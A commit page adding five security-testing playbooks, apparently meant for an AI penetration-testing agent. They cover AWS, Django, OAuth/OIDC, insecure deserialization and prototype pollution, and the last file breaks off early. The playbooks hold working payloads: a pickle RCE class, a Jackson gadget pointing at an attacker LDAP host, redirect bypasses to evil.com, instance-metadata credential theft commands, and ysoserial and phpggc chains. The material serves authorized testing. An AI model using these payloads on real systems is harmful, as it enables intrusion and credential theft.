4 Commits

Author SHA1 Message Date
bearsyankees 96cd61e458 some tools ads 2026-07-03 00:07:59 -04:00
Ayush7614 d84930d947 Clarify S3 existence vs public listing checks in aws skill
Split unauthenticated enumeration into separate head-bucket/HTTP
and s3 ls steps with interpretation guidance per review.
2026-07-02 20:14:13 +05:30
Ayush7614 ff5b96ea40 Address Greptile review feedback on AWS and deserialization skills
- Use head-bucket for S3 existence checks instead of duplicating s3 ls
- Add Node.js to insecure_deserialization frontmatter description
2026-07-02 00:38:03 +05:30
Ayush7614 100f561e91 Add five community security skills for agent specialization
Expand coverage with OAuth flow testing, AWS misconfigurations, prototype
pollution, insecure deserialization, and Django framework playbooks.
2026-07-02 00:35:15 +05:30
5 changed files with 960 additions and 0 deletions
+231
View File
@@ -0,0 +1,231 @@
---
name: aws
description: AWS cloud security testing covering IAM misconfigurations, S3 exposure, metadata abuse, and privilege escalation paths
---
# AWS Cloud Security
AWS misconfigurations frequently expose credentials, data, and lateral movement paths. This skill covers direct AWS API testing and post-compromise enumeration from EC2/Lambda/container workloads. For SSRF-mediated metadata access, combine with the ssrf skill.
## Attack Surface
**Identity**
- IAM users, roles, groups, policies (inline and managed)
- Access keys, session tokens, SSO/SAML federation
- Cross-account roles, trust policies, permission boundaries
**Storage & Data**
- S3 buckets, objects, bucket policies, ACLs, Block Public Access settings
- EBS snapshots, RDS snapshots, AMIs shared publicly
- Secrets Manager, SSM Parameter Store, KMS keys
**Compute**
- EC2 instances, Lambda functions, ECS/EKS tasks
- Instance metadata service (IMDSv1/v2) at `169.254.169.254`
- User data, launch templates, AMIs
**Network**
- Security groups, NACLs, VPC endpoints, public subnets
- ELB/ALB/CloudFront misconfigurations
**Management**
- CloudTrail, Config, GuardDuty gaps
- Cognito user pools, API Gateway, AppSync
## Reconnaissance
**Credential Discovery**
- Environment variables: `AWS_ACCESS_KEY_ID`, `AWS_SECRET_ACCESS_KEY`, `AWS_SESSION_TOKEN`
- `~/.aws/credentials`, `~/.aws/config`, CI/CD env vars, `.env` files
- Hardcoded keys in source, mobile apps, JavaScript bundles
**Unauthenticated Enumeration**
Use two separate checks — they answer different questions and must not be conflated:
**1. Bucket existence (does the name resolve?)**
Goal: learn whether a bucket name exists in AWS, without needing `s3:ListBucket`.
- `head-bucket` or `curl -I` HTTP status is the signal — not `aws s3 ls`.
- `403 Forbidden` → bucket exists but you lack access (private or wrong account).
- `404 Not Found` → bucket does not exist in that region, or name is wrong.
```
aws s3api head-bucket --bucket target-bucket --no-sign-request 2>&1
curl -I https://target-bucket.s3.amazonaws.com/
```
**2. Public listing (is ListBucket granted to anonymous users?)**
Goal: confirm `s3:ListBucket` is publicly granted — a separate and stronger finding than existence alone.
- Only run `aws s3 ls` for this step; a successful listing returns object keys/prefixes.
- Failure here does not disprove existence (a private bucket still returns 403 on list).
```
aws s3 ls s3://target-bucket --no-sign-request
```
**Authenticated Enumeration (with any credentials)**
```
aws sts get-caller-identity
aws iam get-account-authorization-details 2>/dev/null
aws iam list-users
aws iam list-roles
aws iam list-attached-user-policies --user-name <user>
aws s3 ls
aws ec2 describe-instances
```
## Key Vulnerabilities
### S3 Misconfigurations
- Public read/write buckets (ACL `public-read`, policy `"Principal":"*"`)
- AuthenticatedUsers group grants (`http://acs.amazonaws.com/groups/global/AuthenticatedUsers`)
- ListBucket enabled publicly → object key enumeration
- Sensitive object keys guessable: `backup/`, `db/`, `.env`, `config/`, `logs/`
**Test:**
```
aws s3 ls s3://BUCKET --no-sign-request
aws s3 cp s3://BUCKET/sensitive-file . --no-sign-request
curl https://BUCKET.s3.amazonaws.com/
```
### IAM Privilege Escalation
Common escalation paths (verify with `aws iam simulate-principal-policy` when possible):
| Permission | Escalation |
|------------|------------|
| `iam:CreatePolicyVersion` | Attach admin policy version to self |
| `iam:SetDefaultPolicyVersion` | Roll back to older permissive policy version |
| `iam:PassRole` + `lambda:CreateFunction` | Create Lambda with admin role, invoke |
| `iam:PassRole` + `ec2:RunInstances` | Launch EC2 with instance profile |
| `sts:AssumeRole` on overprivileged role | Cross-account or same-account pivot |
| `iam:UpdateAssumeRolePolicy` | Add self to trust policy of privileged role |
| `iam:AttachUserPolicy` / `PutUserPolicy` | Self-grant admin |
**Test:**
```
aws iam list-attached-user-policies --user-name $(aws sts get-caller-identity --query Arn --output text | cut -d/ -f2)
aws iam simulate-principal-policy --policy-source-arn <arn> --action-names iam:CreateAccessKey --resource-arns "*"
```
### Instance Metadata Abuse
**IMDSv1 (no token required)**
```
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
curl http://169.254.169.254/latest/user-data
```
**IMDSv2 bypass contexts**
- SSRF with header injection if server forwards `X-aws-ec2-metadata-token`
- Container sidecars without hop limit enforcement
- Misconfigured proxies allowing link-local access
### Snapshot and Backup Exposure
- Public EBS/RDS snapshots: `aws ec2 describe-snapshots --restorable-by-user-names all`
- AMIs with `Public` launch permission containing secrets or keys
- Backup vaults cross-account without proper isolation
### Lambda and Serverless
- Overprivileged execution roles (`AdministratorAccess` on Lambda role)
- Environment variables containing secrets (visible via `lambda:GetFunctionConfiguration`)
- Function URLs or API Gateway without auth
- Event source mappings triggering on attacker-controlled events
### Cognito Misconfigurations
- Self-signup enabled with elevated default group membership
- Missing app client secret on confidential flows
- Custom attribute write permissions allowing privilege fields (`custom:role`, `custom:admin`)
- ID token custom claims trusted by backend without verification
### KMS and Secrets
- KMS key policies allowing `Principal: *` or overly broad accounts
- Secrets Manager secrets readable by unintended roles
- SSM parameters under `/` with `GetParameter` for unauthenticated or low-priv callers
## Advanced Techniques
**Cross-Account Role Assumption**
- Find roles trusting `*` or external accounts broadly
- Confused deputy: service assumes role without external ID validation
**CloudFront Origin Exposure**
- Origin pointing directly to S3 website or ALB bypassing WAF
- Signed URL/cookie misconfiguration allowing object access
**Resource-Based Policy Gaps**
- S3 bucket policy allowing `s3:GetObject` from unintended principals
- Lambda resource policy `Principal: *` with weak condition keys
## Testing Methodology
1. **Discover credentials** — Keys in code, env, metadata, or SSRF
2. **Identify principal**`get-caller-identity`, map effective permissions
3. **Enumerate resources** — S3, EC2, IAM, Lambda within policy bounds
4. **Escalation paths** — Run escalation checklist against attached policies
5. **Data exposure** — Public buckets, snapshots, secrets, user-data scripts
6. **Persistence** — New access keys, backdoor roles, Lambda triggers (only in authorized scope)
## Validation
1. Demonstrate unauthorized read/write of S3 objects or snapshots with evidence (object keys, ETags)
2. Show IAM escalation from low-priv to higher-priv with exact API calls and resulting permissions
3. Prove metadata credential theft path (SSRF or IMDS) with redacted temporary credentials scope
4. Document resource ARN, policy statement, and misconfiguration root cause
5. Confirm fix would block the specific principal/action/resource combination
## False Positives
- Intentionally public static assets bucket with no sensitive keys
- Read-only `s3:ListBucket` on empty marketing bucket
- Metadata endpoint unreachable from tested context (no SSRF, IMDSv2 enforced with hop limit)
- Simulated escalation blocked by permission boundary or SCP
- 403 on S3 that indicates existence but not readable content (still note for recon, not data breach)
## Impact
- Mass data exfiltration from S3/RDS/snapshots
- Full account or organization compromise via IAM escalation
- Persistent backdoor access through new keys or roles
- Regulatory exposure (PII/PCI in unencrypted public buckets)
## Pro Tips
1. Always run `get-caller-identity` first to know your effective principal
2. Distinguish 403 vs 404 on S3 — both are useful, mean different things
3. Check instance profile role, not just user credentials, from metadata
4. Review trust policies on roles, not just permission policies
5. Combine with subdomain takeover — dangling S3 bucket names in DNS CNAMEs
## Tooling
Prefer credential-light, install-once CLIs. The sandbox has `awscli`/`python`/`pipx`/`go` and build-time egress.
- **awscli** — the primary enumeration tool (used throughout this skill). Always start with `aws sts get-caller-identity`.
- **enumerate-iam** (andresriancho) — tiny script that brute-forces which API calls a set of keys can make when you can't read your own policy:
```
git clone https://github.com/andresriancho/enumerate-iam && cd enumerate-iam
pip install -r requirements.txt
python enumerate-iam.py --access-key AKIA... --secret-key ...
```
- **cloudsplaining** (Salesforce) — offline IAM policy risk analysis; finds privilege-escalation/resource-exposure in the auth-details JSON:
```
pipx install cloudsplaining
aws iam get-account-authorization-details > auth.json
cloudsplaining scan --input-file auth.json
```
- **CloudFox** (BishopFox) — single Go binary for fast post-compromise inventory and "what can I do from here" surfacing: `cloudfox aws --profile <profile> all-checks`
- **Pacu** (Rhino Security Labs) — the standard AWS exploitation framework; heavier, but its `iam__privesc_scan` module automates the escalation table above. Use for a full exploitation session (`run iam__enum_permissions`, then `run iam__privesc_scan`).
## Summary
AWS security requires least-privilege IAM, blocked public data paths, IMDSv2 with hop limits, and tight resource policies. Enumerate from any credential found — even limited read access often reveals escalation chains.
+214
View File
@@ -0,0 +1,214 @@
---
name: django
description: Security testing playbook for Django applications covering ORM injection, middleware gaps, auth/session flaws, and template issues
---
# Django
Security testing for Django web applications and Django REST Framework (DRF) APIs. Focus on ORM/raw query misuse, middleware ordering, permission class gaps, and session/auth configuration across views, admin, and channels.
## Attack Surface
**Core Components**
- URL routing (`urls.py`), class-based and function views, middleware stack
- ORM (QuerySet filters), raw SQL, `extra()`, `RawSQL`, annotations
- Templates (Django template language, Jinja2 if configured)
- Forms, ModelForms, serializers (DRF)
**Authentication**
- Session framework, `AuthenticationMiddleware`, `@login_required`, DRF `permission_classes`
- Token auth, JWT (djangorestframework-simplejwt), OAuth integrations
- Django admin (`/admin/`), staff/superuser flags
**Deployment**
- `DEBUG=True` exposure, `ALLOWED_HOSTS`, `SECRET_KEY` leakage
- Static/media serving, reverse proxies, ASGI (Channels, Daphne, Uvicorn)
## High-Value Targets
- `/admin/` — brute force, credential stuffing, IDOR on admin objects
- API endpoints with mixed permission classes across ViewSets
- File upload (`FileField`, `ImageField`), import/export (django-import-export)
- Search/filter endpoints using `filter()`, `Q` objects, or raw SQL
- Password reset, email verification, invitation tokens
- WebSocket consumers (Django Channels) with weaker auth than HTTP equivalents
- Celery task triggers accepting user IDs without ownership checks
## Reconnaissance
**Fingerprinting**
```
curl -I https://target/ -H "Cookie: sessionid=test"
# X-Frame-Options, Set-Cookie (sessionid, csrftoken), Server header
GET /admin/login/
GET /api/ /api/v1/ /swagger/ /api/schema/
```
**Settings Leakage (when DEBUG=True or misconfigured)**
- Yellow debug page exposes `SECRET_KEY`, database credentials, installed apps
- `/static/`, error pages with stack traces revealing paths and ORM queries
**OpenAPI / DRF**
```
GET /api/schema/
GET /swagger.json
```
Map endpoints, authentication classes, and permission classes per route.
## Key Vulnerabilities
### Authentication & Authorization
**Permission Class Gaps**
- ViewSet with `list` protected but `retrieve`/`update` missing `permission_classes`
- Custom permissions checking authentication but not object ownership (IDOR)
- `@api_view` without explicit permissions inheriting permissive defaults
- Admin actions or custom management commands without staff checks
**Session Issues**
- `SESSION_COOKIE_SECURE=False` on HTTPS sites; missing `HttpOnly`
- Session fixation if session key not rotated on login
- Weak or leaked `SECRET_KEY` → forge session cookies (`django.contrib.sessions.backends.signed_cookies`)
**JWT (simplejwt)**
- RS256→HS256 confusion if algorithm pinning is misconfigured
- Missing `user_id`/`token` blacklist on logout
- Refresh token rotation not enforced
### Injection
**ORM SQL Injection**
Vulnerable patterns (more common in legacy code):
```python
User.objects.raw(f"SELECT * FROM auth_user WHERE username = '{user_input}'")
User.objects.extra(where=[f"username = '{user_input}'"])
```
Test: `' OR 1=1 --`, time-based payloads, database-specific syntax.
**DRF Filter Backends**
- `django-filter` with unsafe field exposure: `?username__icontains=` on unintended columns
- Ordering injection via `?ordering=` if field whitelist missing
**Template Injection**
Django templates auto-escape by default; risk rises with:
```python
mark_safe(user_input)
|safe filter in templates
Template(user_input).render(...) # SSTI if user controls template source
```
Jinja2 backend without autoescape: `{{7*7}}`, RCE gadgets if sandbox misconfigured.
### CSRF
- `@csrf_exempt` on state-changing views
- DRF session authentication without CSRF enforcement on unsafe methods
- CSRF cookie not set (`CSRF_USE_SESSIONS`, trusted origins misconfiguration)
- `CSRF_TRUSTED_ORIGINS` too broad
**Test:** Cross-origin POST with victim session cookie; JSON endpoints with session auth.
### IDOR and Mass Assignment
**DRF Serializers**
- `fields = '__all__'` exposing `is_staff`, `is_superuser`, `role`, `balance`
- `read_only_fields` missing on sensitive ModelSerializer fields
- Nested writes updating foreign keys across tenants
**Object-Level Permissions**
- `get_object()` without filtering queryset by request.user
- Generic views with `queryset = Model.objects.all()` and weak permissions
### File Handling
- `MEDIA_ROOT` served directly in DEBUG or via misconfigured nginx
- Path traversal in custom file download views using user-supplied paths
- SVG/HTML uploads served with `Content-Type` that enables XSS
- Missing file size/type validation on uploads
### SSRF
- `requests.get(user_url)` in webhooks, preview, import features
- Celery tasks fetching user URLs server-side
- Test loopback, metadata IPs, redirect chains
### Host Header / Password Reset
- `ALLOWED_HOSTS = ['*']` or permissive subdomain patterns
- Password reset emails built from `Host` header → poisoned reset links
- Cache poisoning via unkeyed Host header on cached pages
### Django Admin
- Default `/admin/` path with weak credentials
- `has_add_permission` / `has_change_permission` overrides with logic bugs
- ModelAdmin exposing sensitive fields in list_display or export
### Channels / WebSocket
- Consumer accepts connection without session/auth parity to HTTP
- Group name derived from user input → subscribe to other users' channels
- Missing origin validation on WebSocket handshake
## Bypass Techniques
- Content negotiation: JSON vs form data hitting different parser/permission paths
- HTTP method override or trailing slash routing to alternate view
- Parameter pollution: duplicate `id` fields in query and body
- Race on state transitions (coupon redemption, inventory) via parallel requests
- Versioned API (`/api/v1/` vs `/api/v2/`) with weaker auth on older version
## Testing Methodology
1. **Map surface** — URLs, DRF schema, admin, static/media paths
2. **Auth matrix** — Unauthenticated/user/staff for each endpoint and method
3. **Object ownership** — Swap IDs across two user accounts on every CRUD route
4. **Serializer audit** — Identify writable sensitive fields and nested relations
5. **Middleware order** — Confirm auth runs before business logic; check CSRF on session APIs
6. **Channel parity** — Same authorization on WebSocket actions as REST equivalents
7. **Settings review (white-box)** — DEBUG, ALLOWED_HOSTS, SECRET_KEY, session/cookie flags
## Validation
1. Side-by-side requests proving unauthorized access (IDOR, privilege escalation)
2. CSRF PoC executing state change with victim session (for session-authenticated endpoints)
3. SQLi/template injection with deterministic oracle (error, timing, or `7*7` equivalent)
4. Document view/serializer/permission class where enforcement failed
5. Show admin or staff capability gained from regular user context if applicable
## False Positives
- `queryset.filter(user=request.user)` consistently applied including nested routes
- Object-level permission class correctly validates ownership on all actions
- DEBUG=False and generic error pages with no settings leakage confirmed
- Mark_safe used only on server-generated trusted content
- CSRF correctly enforced on all session-authenticated unsafe methods
## Impact
- Account takeover via session forgery or password reset poisoning
- Horizontal/vertical privilege escalation through IDOR and mass assignment
- Data breach via ORM/SQL injection or excessive serializer fields
- Server compromise via SSTI, pickle in cache (if used), or SSRF to internal services
## Pro Tips
1. DRF ViewSets often protect `list` but forget `destroy` or custom `@action` routes
2. Check `APIView` subclasses for missing `permission_classes` — common oversight
3. Test `?format=` and browsable API HTML responses for CSRF on session auth
4. `django.contrib.admin` uses separate auth — don't assume API auth covers admin
5. Compare ASGI WebSocket consumers against REST permissions for the same resource
## Tooling
Static analysis is the fastest way to reach the sinks above in white-box scope. The sandbox ships `python`/`pipx`, `semgrep`, `bandit`, `ast-grep`, and `ripgrep`.
- **bandit** (preinstalled) — Python security linter; flags `mark_safe`, `extra()`, `RawSQL`, `subprocess`, weak crypto, hardcoded secrets: `bandit -r . -ll`
- **semgrep** (preinstalled) with the Django ruleset — higher-signal than bandit for framework-specific bugs (`.extra()`, `RawSQL`, `|safe`, `csrf_exempt`, `ALLOWED_HOSTS=['*']`): `semgrep --config p/django .`
- **pip-audit** (PyPA) — dependency CVE scanner for known-vuln Django/DRF/simplejwt versions: `pipx install pip-audit && pip-audit -r requirements.txt`
- **ast-grep** (preinstalled) — quick structural grep for risky calls without a full SAST run: `ast-grep run -p 'mark_safe($X)' -l python`
For the `SECRET_KEY` → signed-cookie/reset-token forgery path noted under Session Issues, Django's own `django.core.signing` is the "tool": with a leaked key you can mint valid `signing.dumps()` values (session cookies, password-reset tokens, and `PickleSerializer`-backed session RCE).
## Summary
Django's defaults help (CSRF middleware, template auto-escape) but DRF, raw SQL, custom permissions, and deployment settings introduce frequent gaps. Test every endpoint with role-separated principals and verify object-level enforcement on querysets, not just authentication presence.
+185
View File
@@ -0,0 +1,185 @@
---
name: oauth
description: OAuth 2.0 and OIDC flow security testing covering redirect manipulation, token leakage, PKCE bypass, and client misconfiguration
---
# OAuth 2.0 / OIDC
OAuth and OIDC failures often enable account takeover, token theft, and cross-client token confusion. Treat every redirect, client identifier, and token exchange as an authorization boundary — not a convenience layer.
## Attack Surface
**Flows**
- Authorization code (with/without PKCE)
- Implicit (legacy), hybrid, device authorization, client credentials
- Refresh token rotation, token introspection, revocation
**Endpoints**
- `/authorize`, `/token`, `/userinfo`, `/introspect`, `/revoke`, `/logout`
- `/.well-known/openid-configuration`, `/jwks.json`
- Dynamic client registration (if enabled)
**Token Types**
- Authorization codes, access tokens, refresh tokens, ID tokens
- Opaque vs JWT formats; reference tokens vs self-contained JWTs
**Client Types**
- Public clients (SPAs, mobile) vs confidential (server-side)
- Multiple redirect URIs, wildcard/pattern matching, custom URI schemes
## Reconnaissance
**Discovery**
```
GET /.well-known/openid-configuration
GET /oauth2/.well-known/openid-configuration
GET /.well-known/oauth-authorization-server
```
Extract: `authorization_endpoint`, `token_endpoint`, `registration_endpoint`, supported `response_types`, `code_challenge_methods_supported`, `grant_types_supported`.
**Client Enumeration**
- Inspect JS bundles, mobile APK/IPA configs, GitHub repos for `client_id`, redirect URIs, scopes
- Check error messages for client validation hints ("invalid redirect_uri", "unregistered client")
## Key Vulnerabilities
### Redirect URI Manipulation
**Open Redirect Chains**
- Register or guess permissive redirect patterns: `https://app.com/callback`, path-prefix only, subdomain wildcards
- Test: append paths, fragments, query injection, `@` tricks, encoded slashes, backslash variants
```
https://app.com/callback.evil.com
https://app.com/callback%2f..%2f@evil.com
https://app.com/callback?next=https://evil.com
com.app://callback (mobile custom scheme)
```
**Redirect URI Validation Bypasses**
- Trailing slash, case, port, scheme downgrade (`http` vs `https`)
- Path normalization differentials between IdP validator and consuming app
- `redirect_uri` parameter pollution (first vs last wins)
- Wildcard subdomain acceptance: `*.app.com` → register `attacker.app.com` or find dangling subdomain
### Authorization Code Issues
**Code Leakage**
- Codes in URL fragments, Referer headers, browser history, server logs, analytics
- Code replay before expiry; missing one-time-use enforcement
- Code sent to wrong redirect_uri if binding is weak
**Code Injection / Mix-Up**
- Attacker initiates flow, victim completes login, code delivered to attacker's redirect
- Mix-up attack: swap `client_id` between authorize and token steps
- Missing `redirect_uri` binding at token endpoint
### State and Nonce
- Missing, predictable, or reusable `state` → CSRF on OAuth login (session fixation, account linking)
- Missing `nonce` in OIDC → ID token injection/replay
- `state` not bound to client session or PKCE verifier
### PKCE Bypass
- `code_challenge_method` downgrade: accept `plain` instead of `S256`
- Missing PKCE requirement on public clients
- `code_verifier` not validated or compared case-insensitively with weak matching
- Authorization code issued without challenge, token endpoint accepts any verifier
### Client Authentication
**Public Client Abuse**
- Token endpoint accepts requests without `client_secret` for confidential clients
- `client_id` only authentication on token/introspection endpoints
- Dynamic registration with attacker-controlled redirect URIs
**Secret Leakage**
- Hardcoded secrets in mobile apps, SPAs, or public repos
- `client_secret` accepted in query string or logged in access logs
### Scope and Token Issues
- Scope escalation: request `admin`/`offline_access`/`openid profile email` beyond app need; server grants all requested scopes
- Refresh token not rotated or reuse not detected → persistent access
- Access token accepted across services (missing audience/resource binding)
- Token introspection returns `active:true` without proper auth on introspection endpoint
### OpenID Connect Specific
- ID token accepted as access token at resource servers (token confusion)
- `acr`, `amr`, `auth_time` not validated for step-up requirements
- Userinfo endpoint returns PII without matching access token scope
- `sub` collision across issuers if `iss` not validated
## Advanced Techniques
**Referer Leakage**
- Embed authorized redirect as subresource on attacker page; harvest `code` from Referer if policy allows
**Device Flow Abuse**
- Poll `device_code` endpoint with guessed codes; slow rate limits only
- User approves attacker-initiated device login
**Account Linking**
- OAuth login links attacker's IdP identity to victim's local account without re-auth
- Email collision: same email from different IdP providers
## Testing Methodology
1. **Map flows** — Identify all grant types, clients, and redirect URIs in use
2. **Redirect matrix** — For each client, fuzz redirect_uri validation with encoding and parser tricks
3. **CSRF** — Initiate OAuth without `state`; swap sessions mid-flow
4. **PKCE** — Replay codes with wrong/missing verifier; downgrade challenge method
5. **Token exchange** — Swap codes/tokens between clients; test cross-audience acceptance
6. **Mobile/deep links** — Custom schemes, intent filters, universal links hijacking
## Validation
1. Demonstrate stolen authorization code or token via redirect manipulation or Referer leak
2. Show account takeover or access to victim resources with attacker's OAuth session
3. Prove CSRF: victim completes login into attacker's linked session without consent UI bypass where applicable
4. Document exact validation gap (redirect binding, PKCE, state, audience)
5. Provide full authorize → callback → token request chain with before/after evidence
## False Positives
- Redirect URI rejected consistently across all bypass attempts
- Public client correctly requires PKCE S256 with strict verifier validation
- `state`/`nonce` enforced and bound; CSRF test fails as expected
- Token audience/issuer correctly validated at resource server
- Custom scheme redirects require app ownership proof (verified Android/iOS app links)
## Impact
- Full account takeover via stolen authorization codes or tokens
- Persistent access through refresh token theft
- Cross-tenant or cross-client data access via token confusion
- PII exposure from userinfo or ID token claim leakage
## Pro Tips
1. Always capture the full redirect chain including intermediate 302 locations
2. Compare authorize-step and token-step parameter binding (`redirect_uri`, `client_id`, PKCE)
3. Test both web and mobile clients — validation rules often differ
4. Check logout/revocation — tokens may remain valid after "logout"
5. Chain with open redirect or XSS on the legitimate redirect_uri to exfiltrate codes
## Tooling
The sandbox ships **jwt_tool** (already cloned at `/home/pentester/tools/jwt_tool`) plus `curl` — enough for the token side of OAuth/OIDC.
- **jwt_tool** (ticarpi) — inspect and tamper ID tokens / JWT access tokens: `alg:none`, `HS256`/`RS256` key confusion, `kid` injection, claim editing (`sub`, `aud`, `iss`, `exp`):
```
python3 /home/pentester/tools/jwt_tool/jwt_tool.py <ID_TOKEN> # decode/inspect
python3 /home/pentester/tools/jwt_tool/jwt_tool.py <ID_TOKEN> -X a # alg:none
python3 /home/pentester/tools/jwt_tool/jwt_tool.py <ID_TOKEN> -X k -pk pub.pem # RS256->HS256 confusion
```
- **curl** — drive the authorize → callback → token chain by hand so you control every parameter (`redirect_uri`, `client_id`, `state`, PKCE `code_challenge`/`code_verifier`) and can test the binding/downgrade cases above.
Humans often use Burp's **EsPReSSO** (RUB-NDS) SSO extension for flow visualization; it is GUI-only, so prefer manual `curl` + `jwt_tool` in-sandbox.
## Summary
OAuth security hinges on strict redirect URI binding, unguessable state/nonce, PKCE for public clients, and consistent token audience validation. Any gap in the authorize-to-token chain is a potential account takeover.
@@ -0,0 +1,188 @@
---
name: insecure-deserialization
description: Insecure deserialization testing for Java, Python, PHP, .NET, Ruby, and Node.js covering gadget chains, type confusion, and safe validation
---
# Insecure Deserialization
Insecure deserialization passes attacker-controlled byte streams or structured blobs to language-native unmarshal functions, enabling remote code execution, authentication bypass, and logic manipulation through magic methods and gadget chains. Test any endpoint accepting serialized objects, session blobs, or opaque binary tokens.
## Attack Surface
**Formats**
- Java: Java native serialization, XStream, JSON → object mappers (Jackson, Fastjson), YAML (SnakeYAML)
- Python: `pickle`, `yaml.load` (unsafe), `marshal`, shelve
- PHP: `unserialize()`, Phar deserialization
- .NET: `BinaryFormatter`, `Json.NET TypeNameHandling`, ViewState
- Ruby: `Marshal.load`, YAML.load
- Node.js: `node-serialize`, `unserialize.js` (less common; see prototype_pollution for merge bugs)
**Input Locations**
- Cookies, session tokens, hidden form fields
- API parameters (`data`, `state`, `object`, base64 blobs)
- Message queues, WebSocket binary frames, file uploads
- Cache entries, database columns storing serialized objects
## Reconnaissance
**Detection Signals**
- Base64 blobs starting with magic bytes:
- Java: `ac ed 00 05` (hex `rO0` base64)
- PHP: `O:`, `a:`, `s:` prefixes after decode
- .NET BinaryFormatter: starts with `00 01 00 00 00 ff ff ff ff`
- `Content-Type` with binary or custom serialization
- Framework indicators: Java apps with Spring, Struts, JSF; PHP with Symfony sessions
**White-Box Indicators**
```
pickle.loads unserialize( ObjectInputStream BinaryFormatter
yaml.load readObject( TypeNameHandling Marshal.load
```
## Key Vulnerabilities
### Java Deserialization
**Gadget Chains**
- Commons Collections, Commons BeanUtils, Spring, Groovy, Rome, JDK-only chains (varies by classpath)
- Tools: ysoserial (authorized testing only), manual chain selection by classpath
**Test Flow**
1. Confirm deserialization sink (HTTP param, cookie, RMI, JMX if exposed)
2. Fingerprint library versions from errors, headers, or bundled libs
3. Generate gadget payload for available chain; expect DNS/HTTP callback or command execution
**Jackson / JSON Typing**
```json
["com.sun.rowset.JdbcRowSetImpl", {"dataSourceName":"ldap://attacker/o", "autoCommit":true}]
```
When `enableDefaultTyping` or `@JsonTypeInfo` allows attacker-chosen types.
### Python Pickle
Pickle executes arbitrary code during unpickling by design:
```python
import pickle, os, base64
class Exploit:
def __reduce__(self):
return (os.system, ('id',))
# base64 encode pickle.dumps(Exploit()) and send as cookie/param
```
**YAML**
```yaml
!!python/object/apply:os.system ['id']
```
When `yaml.load` used instead of `yaml.safe_load`.
### PHP unserialize()
**Object Injection**
- Magic methods: `__wakeup`, `__destruct`, `__toString`, `__call`
- POP chains through framework classes (Laravel, Symfony, WordPress plugins)
**Phar Deserialization**
- Upload or reference `phar://` wrapper triggering metadata deserialization on file operations
### .NET Deserialization
**BinaryFormatter / LosFormatter**
- Never safe on untrusted input; full RCE with known gadget chains (ysoserial.net)
**Json.NET**
```json
{"$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework", ...}
```
When `TypeNameHandling` != `None`.
**ViewState**
- MAC disabled or weak machine keys → forge deserialized view state
### Ruby Marshal
- `Marshal.load` on user input → gadget chains in Rails/Devise versions (context-dependent)
## Advanced Techniques
**Signed Blob Bypass**
- If HMAC/signing uses weak secret or algorithm confusion, forge serialized payload
- Strip signature and test unsigned code paths
- Length extension on MAC if applicable (older custom schemes)
**Second-Order Deserialization**
- Store serialized blob in profile/import; trigger on admin export, cache warm, or batch job
**Compression Wrappers**
- Gzip/base64 nested encoding bypassing naive WAF inspection
## Testing Methodology
1. **Find sinks** — Locate decode/unmarshal calls on user-influenced data
2. **Confirm format** — Magic bytes, error stack traces, framework fingerprint
3. **Safe oracle** — DNS/HTTP OAST callback or sleep/ping before full RCE PoC
4. **Gadget selection** — Match classpath/runtime version to available chains
5. **Minimal PoC** — Demonstrate code execution or critical logic bypass with least destructive command
6. **Session/cookie focus** — Deserialize server-side session stores (Java, PHP) early
## Validation
1. Demonstrate attacker-controlled object graph reaches dangerous sink (unmarshal/readObject)
2. Show impact: RCE (bounded command), auth bypass object, or privilege field manipulation
3. Provide encoded payload and exact injection point (cookie name, parameter, header)
4. Confirm on fixed version or alternate instance that identical payload fails safely
5. Document library/version and gadget chain class names for remediation
## False Positives
- Base64 data is encrypted or signed with verified HMAC before deserialization
- Only primitive types deserialized (whitelist schema, no polymorphic types)
- `pickle`/`Marshal` not used; JSON parsed to dict without object instantiation
- Deserialization in isolated sandbox with no network/exec primitives (verify thoroughly)
- Error mentions serialization class but input is never passed to unmarshal (dead code path)
## Bypass Methods
- Encoding layers: base64 → gzip → serialize
- Alternative parameters storing same session (`session`, `session_backup`, `state`)
- Switch content-type or parameter location (GET vs POST vs cookie)
- Type confusion: JSON array vs object hitting different deserializer branches
- Unicode/UTF-7 smuggling in PHP serialized strings (legacy contexts)
## Impact
- Remote code execution on application servers
- Authentication bypass via forged session objects
- Privilege escalation through manipulated role/admin fields in deserialized classes
- Full application compromise in Java/PHP/.NET stacks with known gadget libraries
## Pro Tips
1. Always fingerprint versions before firing ysoserial — wrong chain wastes time and noise
2. Start with DNS/HTTP callback gadgets before command execution in production-like targets
3. Check cookies named `JSESSIONID` alternatives, `.ASPXAUTH`, `laravel_session`, custom tokens
4. In white-box, trace from `readObject`/`unserialize`/`pickle.loads` backward to source
5. ViewState MAC off is still common on legacy ASP.NET — test early on `.aspx` apps
## Tooling
Payload generation is the practitioner's core tool here. The sandbox has `git`/`python`/`go` and **interactsh-client** (OAST); add a JRE or `php-cli` if you need the Java/PHP generators.
| Tool | Language / format | Use |
|------|-------------------|-----|
| **ysoserial** (frohoff) | Java native | Gadget-chain payloads: `CommonsCollections1-7`, `Groovy1`, `Spring1/2`, and `URLDNS` for a safe no-exec DNS oracle. Needs a JRE. |
| **phpggc** (ambionics) | PHP `unserialize` / Phar | Framework POP chains (Laravel, Symfony, WordPress, Drupal, Monolog). Needs `php-cli`. |
| **ysoserial.net** | .NET `BinaryFormatter` / Json.NET | Windows/.NET gadget payloads. Needs .NET/mono — usually out of scope in a Linux sandbox. |
```
# Java: prove the sink with a no-exec DNS oracle BEFORE any RCE chain
java -jar ysoserial.jar URLDNS "http://$(interactsh-client -json | jq -r .host)" | base64 -w0
# PHP: generate a Laravel POP chain (base64), fast path via a framework gadget
./phpggc -b Laravel/RCE9 system id
```
Confirm the sink with a callback (`URLDNS` / interactsh OAST) before firing a command-exec chain, and match the chain to the fingerprinted library version — the wrong chain just adds noise.
## Summary
Treat every deserialization of untrusted data as critical. Safe patterns use JSON schema validation without type polymorphism, `yaml.safe_load`, signed encrypted tokens, or no custom serialization at all. Prove impact with callback or bounded execution — not just error stack traces.
@@ -0,0 +1,142 @@
---
name: prototype-pollution
description: Client and server prototype pollution testing covering JavaScript object merge bugs, Node.js RCE chains, and filter bypasses
---
# Prototype Pollution
Prototype pollution corrupts shared object prototypes (`Object.prototype`, `Array.prototype`, etc.), leading to application logic bypass, denial of service, and — on Node.js — remote code execution via gadget chains. Test anywhere user input merges into objects without safe key filtering.
## Attack Surface
**Languages & Runtimes**
- JavaScript/TypeScript (browser and Node.js)
- JSON parsers that preserve `__proto__`, `constructor`, `prototype` keys
- Server-side template engines and config merge utilities
**Input Vectors**
